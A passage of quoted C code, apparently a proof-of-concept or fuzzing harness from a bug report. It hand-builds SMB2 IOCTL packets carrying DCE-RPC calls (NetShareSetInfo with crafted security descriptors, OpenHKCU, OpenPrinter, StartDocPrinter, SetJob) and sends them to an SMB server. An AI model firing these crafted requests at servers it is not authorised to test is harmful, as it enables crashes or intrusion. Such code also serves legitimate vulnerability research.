*(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc xxx writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc xxx response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_NetShareSetInfo502(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x11; // opnum, 0x11=NetShareSetInfo > ii += 2; > > *(int*)(buf+ii) = 16; // _ptr_server_unc > ii += 4; > *(int*)(buf+ii) = 2; // server_unc size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > *(int*)(buf+ii) = 2; // share_name size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > *(int*)(buf+ii) = 502; // level > ii += 4; > *(int*)(buf+ii) = 502; // level, again > ii += 4; > *(int*)(buf+ii) = 72; // 72 is sizeof(struct srvsvc_NetShareInfo502) > ii += 4; > > *(int*)(buf+ii) = 16; // _ptr_name > ii += 4; > *(int*)(buf+ii) = 1; // share_type > ii += 4; > *(int*)(buf+ii) = 0; // _ptr_comment > ii += 4; > *(int*)(buf+ii) = 0xffffffff; // permissions > ii += 4; > *(int*)(buf+ii) = 1; // max_users > ii += 4; > *(int*)(buf+ii) = 1; // current_users > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_path > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_password > ii += 4; > > *(int*)(buf+ii) = 16; // sec_desc_buf size > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_sd > ii += 4; > > // name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > // path > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > // password > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > // subcontext buffer > *(int*)(buf+ii) = 64; // content_size, of the security descriptor > ii += 4; > > // security descriptor > buf[ii++] = 1; // descriptor_revision > ii++; // pad > *(short*)(buf+ii) = 1; // security_descriptor_type > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_owner_sid > ii += 4; > *(int*)(buf+ii) = 12; // _ptr_group_sid > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_sacl > ii += 4; > *(int*)(buf+ii) = 0; // _ptr_dacl > ii += 4; > > // something goes off the rails around here. > > // owner_sid > buf[ii++] = 1; // rev_num > buf[ii++] = 2; // num_auths > ii += 6; // id_auth > *(int *)(buf+ii) = 32; // auths[0] > ii += 4; > *(int *)(buf+ii) = 32; // auths[1] > ii += 4; > > // group_sid > buf[ii++] = 1; // rev_num > buf[ii++] = 1; // num_auths > ii += 6; // id_auth > *(int *)(buf+ii) = 32; // auths[0] > ii += 4; > > // sacl > *(short*)(buf+ii) = 1; // revision > ii += 2; > *(short*)(buf+ii) = 16; // size > ii += 2; > *(int*)(buf+ii) = 1; // num_aces > ii += 4; > // ace > buf[ii++] = 1; // ace type > buf[ii++] = 0xff; // ace flags > *(short*)(buf+ii) = 16; // size > ii += 2; > *(int*)(buf+ii) = 0xffffffff; // access_mask > ii += 4; > > ii += 128; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc NetShareSetInfo writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc NetShareSetInfo response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_NetShareSetInfo501(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x11; // opnum, 0x11=NetShareSetInfo > ii += 2; > > *(int*)(buf+ii) = 16; // _ptr_server_unc > ii += 4; > *(int*)(buf+ii) = 2; // server_unc size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > *(int*)(buf+ii) = 2; // share_name size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > *(int*)(buf+ii) = 501; // level > ii += 4; > *(int*)(buf+ii) = 501; // level, again > ii += 4; > *(int*)(buf+ii) = 32; // 32 is sizeof(struct srvsvc_NetShareInfo501) > ii += 4; > > *(int*)(buf+ii) = 16; // _ptr_name > ii += 4; > *(int*)(buf+ii) = 1; // share_type > ii += 4; > *(int*)(buf+ii) = 0; // _ptr_comment > ii += 4; > *(int*)(buf+ii) = 0xffffffff; // policy > ii += 4; > > // name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > *(int*)(buf+ii) = 4; // _ptr_parm_error > ii += 4; > ii += 4; > > ii += 64; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc NetShareSetInfo writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc NetShareSetInfo response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >char winreg_handle[20]; > >void >smb_ioctl_rpc_OpenHKCU(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x01; // opnum 0x01=OpenHKCU > ii += 2; > > ii += 32; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc OpenHKCU writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc OpenHKCU response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > memcpy(winreg_handle, buf + cc - 24, 20); > printf("winreg_handle: "); > for(int i = 0; i < 20; i++) > printf("%02x ", winreg_handle[i] & 0xff); > printf("\n"); > } >} > >char printer_handle[20]; > >void >smb_ioctl_rpc_OpenPrinter(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x01; // opnum 0x01=OpenPrinter > ii += 2; > > *(int*)(buf+ii) = 1; // _ptr_printer_name > ii += 4; > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'p'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 1; // _ptr_datatype > ii += 4; > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'p'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // DevModeContainer > *(int*)(buf+ii) = 0; // size > ii += 4; > *(int*)(buf+ii) = 0; // _ptr_devmode > ii += 4; > *(int*)(buf+ii) = 0x4; // AccessRights PRINTER_ACCESS_ADMINISTER > ii += 4; > > ii += 32; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc OpenPrinter writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc OpenPrinter response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > memcpy(printer_handle, buf + cc - 24, 20); > printf("printer_handle: "); > for(int i = 0; i < 20; i++) > printf("%02x ", printer_handle[i] & 0xff); > printf("\n"); > } >} > >int job_id = 1; > >void >smb_ioctl_rpc_StartDocPrinter(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x11; // opnum 0x11=StartDocPrinter > ii += 2; > > // policy handle > memcpy(buf+ii, printer_handle, 20); > ii += 20; > > *(int*)(buf+ii) = 1; // level > ii += 4; > *(int*)(buf+ii) = 1; // level > ii += 4; > > *(int*)(buf+ii) = 64; // _ptr_info1 > ii += 4; > > *(int*)(buf+ii) = 16; // _ptr_document_name > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_output_file > ii += 4; > *(int*)(buf+ii) = 20; // _ptr_datatype > ii += 4; > > // document_name > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // output_file > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'y'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // datatype RAW > *(int*)(buf+ii) = 4; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 4; // length > ii += 4; > buf[ii++] = 'R'; > buf[ii++] = 0; > buf[ii++] = 'A'; > buf[ii++] = 0; > buf[ii++] = 'W'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > ii += 32; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc StartDocPrinter writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc StartDocPrinter response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > // job_id is 8th-to-last byte, but is always 1 > } >} > >void >smb_ioctl_rpc_SetJob(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[1024]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0; // opnum > ii += 2; > > // policy handle > memcpy(buf+ii, printer_handle, 20); > ii += 20; > > *(int*)(buf+ii) = job_id; // job_id > ii += 4; > > *(int*)(buf+ii) = 256; // _ptr_ctr > ii += 4; > > *(int*)(buf+ii) = 4; // level > ii += 4; > *(int*)(buf+ii) = 4; // level > ii += 4; > > *(int*)(buf+ii) = 128+64; // _ptr_info4 > ii += 4; > > *(int*)(buf+ii) = job_id; // job_id > ii += 4; > > *(int*)(buf+ii) = 16; // _ptr_printer_name > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_server_name > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_user_name > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_document_name > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_notify_name > ii += 4; > *(int*)(buf+ii) = 20; // _ptr_data_type > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_print_processor > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_parameters > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_driver_name > ii += 4; > > *(int*)(buf+ii) = 16; // _devmode_ptr > ii += 4; > > *(int*)(buf+ii) = 16; // ptr_text_status > ii += 4; > > *(int*)(buf+ii) = 0; // _secdesc_ptr > ii += 4; > > *(int*)(buf+ii) = 0; // status > ii += 4; > *(int*)(buf+ii) = 0; // priority > ii += 4; > > // position .. size_high > ii += 48; > > while(ii % 4) > ii++; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'y'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'y'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'y'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'y'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > while(ii % 4) > ii++; > > // datatype RAW > *(int*)(buf+ii) = 4; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 4; // length > ii += 4; > buf[ii++] = 'R'; > buf[ii++] = 0; > buf[ii++] = 'A'; > buf[ii++] = 0; > buf[ii++] = 'W'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > while(ii % 4) > ii++; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'a'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'b'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'c'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; 